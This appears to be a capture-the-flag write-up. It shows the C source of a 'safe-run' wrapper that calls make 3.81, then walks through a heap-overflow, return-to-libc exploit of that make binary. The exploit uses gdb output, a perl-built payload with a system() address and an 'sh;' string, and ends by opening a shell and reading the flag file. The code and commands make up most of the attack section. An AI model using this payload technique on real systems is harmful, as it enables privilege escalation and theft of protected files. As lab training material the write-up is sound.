#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(int argc, char ** argv) { char * make_path = "/home/exploit05/project/make"; char * path_prefix = "/home/exploit05/project/"; /* Checking if there is an argument, fail if not */ if (argc < 2) { fprintf (stderr, "safe-run: error: missing argument\n" "usage: safe-run MAKEFILE_PATH\n"); exit(EXIT_FAILURE); } /* Check if the given path has '..' inside */ if (strstr(argv[1], "..")) { fprintf (stderr, "safe-run: detected an attempt to escape the directory !\n"); exit(EXIT_FAILURE;) } /* Concatenate path_prefix and argv[1] */ char *makefile_path = malloc(strlen(path_prefix) + strlen(argv[1]) + 1); strcpy(makefile_path, path_prefix); strcat(makefile_path, argv[1]); printf("command: %s -f %s\n", make_path, makefile_path); /* Calling execve() */ char * args[4] = { make_path, "-f", makefile_path, 0 }; char * envp[1] = { 0 }; execve(make_path, args, envp); /* In case the execve is failing */ return EXIT_FAILURE; }
Make is called in the execve() call at the end of source code.
We tried some make vulnerabilities, and found this Make 3.81 Heap Overflow.
After one try, we found out it was vulnerable :
$ gdb (gdb) file make (gdb) set disassembly-flavor intel (gdb) r $(perl -e 'print "A"x4126') (gdb) i r eip 0x792e4141 0x792e4141 //EIP partially rewritten
We need to add 2 “A” so our buffer length + EBP + EIP registers looks like this :
[ 4120 A ] [ 4 EBP ] [ 4 EIP] = 4128
We gather some other informations :
guest@ns314076:/home/exploit05/project$ readelf -l safe-run Elf file type is EXEC (Executable file) Entry point 0x8048500 There are 8 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align [...] GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 //RW, not X
Since environment is emptied before calling make, stack is not executable and ASLR is disabled, we’ll try a return to libc exploitation. We first find system() address
(gdb) p system $1 = {<text variable, no debug info>} 0x4006ac30 <system>
So we push system() address on the stack, preceded by a random address (return from system() ), and before that, arguments to system. Here, the only argument is a string containing ‘sh;’. We just put this string in our buffer, and after a quick dichotomous analysis, we find its address.
/home/exploit05/project/safe-run $(perl -e 'print "A"x2062 . "sh;" . "B" x2059 ."\x30\xac\x06\x40" . "AAAA" . "\xc4\xf7\xff\xbf"') sh-4.2$ whoami exploit05 sh-4.2$ cat /home/exploit05/.secret EiN5ohqu5Ush-4.2$
The flag is : EiN5ohqu5U